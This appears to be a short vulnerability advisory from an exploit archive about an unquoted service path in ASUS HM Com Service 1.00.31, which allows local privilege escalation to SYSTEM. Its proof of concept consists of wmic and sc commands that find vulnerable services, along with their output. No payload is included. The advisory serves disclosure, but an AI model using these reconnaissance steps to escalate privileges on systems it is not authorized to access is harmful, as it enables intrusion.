ASUS HM Com Service 1.00.31 Unquoted Service Path

`# Exploit Title: ASUS HM Com Service 1.00.31 - 'asHMComSvc' Unquoted Service Path  
# Date: 2019-11-16  
# Exploit Author : Olimpia Saucedo  
# Vendor Homepage: www.asus.com  
# Version: 1.00.31  
# Tested on: Windows 10 Pro x64 (but it should works on all windows version)  
  
The application suffers from an unquoted service path issue impacting the service 'ASUS HM Com Service (aaHMSvc.exe)' related to the Asus Motherboard Utilities.  
This could potentially allow an authorized but non-privileged local user to execute arbitrary code with system privileges.  
  
POC:  
  
>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """  
  
ASUS HM Com Service asHmComSvc  
C:\Program Files (x86)\ASUS\AAHM\1.00.31\aaHMSvc.exe  
Auto  
  
>sc qc "asHMComSvc"  
[SC] QueryServiceConfig SUCCESS  
  
SERVICE_NAME: asHMComSvc  
TYPE : 10 WIN32_OWN_PROCESS  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : C:\Program Files (x86)\ASUS\AAHM\1.00.31\aaHMSvc.exe  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : ASUS HM Com Service  
DEPENDENCIES : RpcSs  
SERVICE_START_NAME : LocalSystem  
`